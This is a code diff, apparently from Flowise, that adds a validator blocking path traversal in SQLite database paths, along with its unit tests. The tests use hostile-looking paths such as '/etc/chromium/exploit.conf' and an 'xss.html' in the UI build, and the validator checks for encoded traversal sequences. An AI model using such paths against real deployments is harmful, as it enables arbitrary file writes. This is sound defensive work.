+ expect(() => validateSQLitePath('/usr/local/lib/node_modules/flowise/node_modules/flowise-ui/build/xss.html')).toThrow( + /Invalid SQLite path:/ + ) + }) + + it('should reject path to home directory outside .flowise', () => { + const outsidePath = path.join(userHome, 'Documents', 'db.sqlite') + expect(() => validateSQLitePath(outsidePath)).toThrow(/Invalid SQLite path: path must be within/) + }) + }) + + describe('DATABASE_PATH allowlist', () => { + const originalDatabasePath = process.env.DATABASE_PATH + + afterEach(() => { + if (originalDatabasePath === undefined) { + delete process.env.DATABASE_PATH + } else { + process.env.DATABASE_PATH = originalDatabasePath + } + }) + + it('should accept database file under DATABASE_PATH when set', () => { + const customBase = path.join(userHome, 'custom-flowise-data') + process.env.DATABASE_PATH = customBase + const dbPath = path.join(customBase, 'database.sqlite') + expect(validateSQLitePath(dbPath)).toBe(path.resolve(dbPath)) + }) + + it('should still reject paths outside DATABASE_PATH and .flowise', () => { + process.env.DATABASE_PATH = path.join(userHome, 'custom-flowise-data') + expect(() => validateSQLitePath('/etc/chromium/exploit.conf')).toThrow(/Invalid SQLite path:/) + }) + }) + + describe('PATH_TRAVERSAL_SAFETY=false bypasses all checks', () => { + beforeEach(() => { + process.env.PATH_TRAVERSAL_SAFETY = 'false' + }) + afterEach(() => { + delete process.env.PATH_TRAVERSAL_SAFETY + }) + + it('should allow arbitrary absolute Unix path', () => { + expect(validateSQLitePath('/tmp/db.sqlite')).toBe('/tmp/db.sqlite') + }) + + it('should allow path to /etc (would be blocked normally)', () => { + expect(validateSQLitePath('/etc/chromium/exploit.conf')).toBe('/etc/chromium/exploit.conf') + }) + + it('should allow path containing ..', () => { + const result = validateSQLitePath('../db.sqlite') + expect(typeof result).toBe('string') + }) + + it('should return default when undefined', () => { + expect(validateSQLitePath(undefined)).toBe(path.join(defaultFlowiseDir, 'database.sqlite')) + }) + + it('should resolve relative path within .flowise when no absolute path given', () => { + const result = validateSQLitePath('test.db') + expect(result).toBe(path.join(defaultFlowiseDir, 'test.db')) + }) + }) +}) diff --git a/packages/components/src/validator.ts b/packages/components/src/validator.ts index 42ef4bf9413..f2abf950f8c 100644 --- a/packages/components/src/validator.ts +++ b/packages/components/src/validator.ts @@ -285,6 +285,74 @@ export const validateVectorStorePath = (userProvidedPath: string | undefined): s return resolvedPath } +const getAllowedSQLiteBaseDirs = (): string[] => { + const dirs = [path.join(getUserHome(), '.flowise')] + if (process.env.DATABASE_PATH) { + dirs.push(path.resolve(process.env.DATABASE_PATH)) + } + return dirs +} + +const isPathWithinAllowedSQLiteDirs = (resolvedPath: string, allowedDirs: string[]): boolean => { + const normalizedResolved = path.normalize(resolvedPath) + return allowedDirs.some((allowedDir) => { + const normalizedAllowed = path.normalize(allowedDir) + return normalizedResolved === normalizedAllowed || normalizedResolved.startsWith(normalizedAllowed + path.sep) + }) +} + +/** + * Validates and sanitizes a SQLite database file path to prevent path traversal + * and arbitrary file write attacks. + * + * Relative paths are resolved within ~/.flowise/. Absolute paths must fall inside + * ~/.flowise/ or DATABASE_PATH when set. Set PATH_TRAVERSAL_SAFETY=false to bypass all checks (not recommended). + * + * @param {string | undefined} userProvidedPath - File path supplied by the user in the node config + * @returns {string} A validated, absolute path within an allowed base directory + * @throws {Error} If the path is missing, contains traversal patterns, or is outside allowed directories + */ +export const validateSQLitePath = (userProvidedPath: string | undefined): string => { + const allowedDirs = getAllowedSQLiteBaseDirs() + const defaultDir = allowedDirs[0] + + if (process.env.PATH_TRAVERSAL_SAFETY === 'false') { + if (!userProvidedPath || userProvidedPath.trim() === '') { + return path.join(defaultDir, 'database.sqlite') + } + const bypassPath = userProvidedPath.trim() + return path.isAbsolute(bypassPath) ? bypassPath : path.resolve(path.join(defaultDir, bypassPath)) + } + + if (!userProvidedPath || userProvidedPath.trim() === '') { + throw new Error('Invalid SQLite path: database path is required') + } + + const basePath = userProvidedPath.trim() + + if (basePath.includes('..')) throw new Error('Invalid SQLite path: path traversal attempt detected') + if (basePath.toLowerCase().includes('%2e') || basePath.toLowerCase().includes('%2f') || basePath.toLowerCase().includes('%5c')) + throw new Error('Invalid SQLite path: encoded path traversal attempt detected') + // eslint-disable-next-line no-control-regex + if (/\0/.test(basePath) || /[\x00-\x1f]/.test(basePath)) + throw new Error('Invalid SQLite path: null bytes or control characters detected') + if (/^[a-zA-Z]:\\/.test(basePath)) throw new Error('Invalid SQLite path: Windows absolute paths are not allowed') + if (/^\\\\[^\\]/.test(basePath)) throw new Error('Invalid SQLite path: UNC paths are not allowed') + if (/^\\\\\?\\/.test(basePath)) throw new Error('Invalid SQLite path: extended-length paths are not allowed') + + const resolvedPath = path.isAbsolute(basePath) ? path.resolve(basePath) : path.resolve(path.join(defaultDir, basePath)) + + if (resolvedPath.includes('..')) throw new Error('Invalid SQLite path: path traversal detected in resolved path') + + if (!isPathWithinAllowedSQLiteDirs(resolvedPath, allowedDirs)) { + throw new Error( + `Invalid SQLite path: path must be within allowed directories (${allowedDirs.join(', ')}). Attempted path: ${resolvedPath}` + ) + } + + return resolvedPath +} + /** * Sanitize a file name to prevent path traversal attacks. * Strips common storage prefixes, extracts the basename, runs it through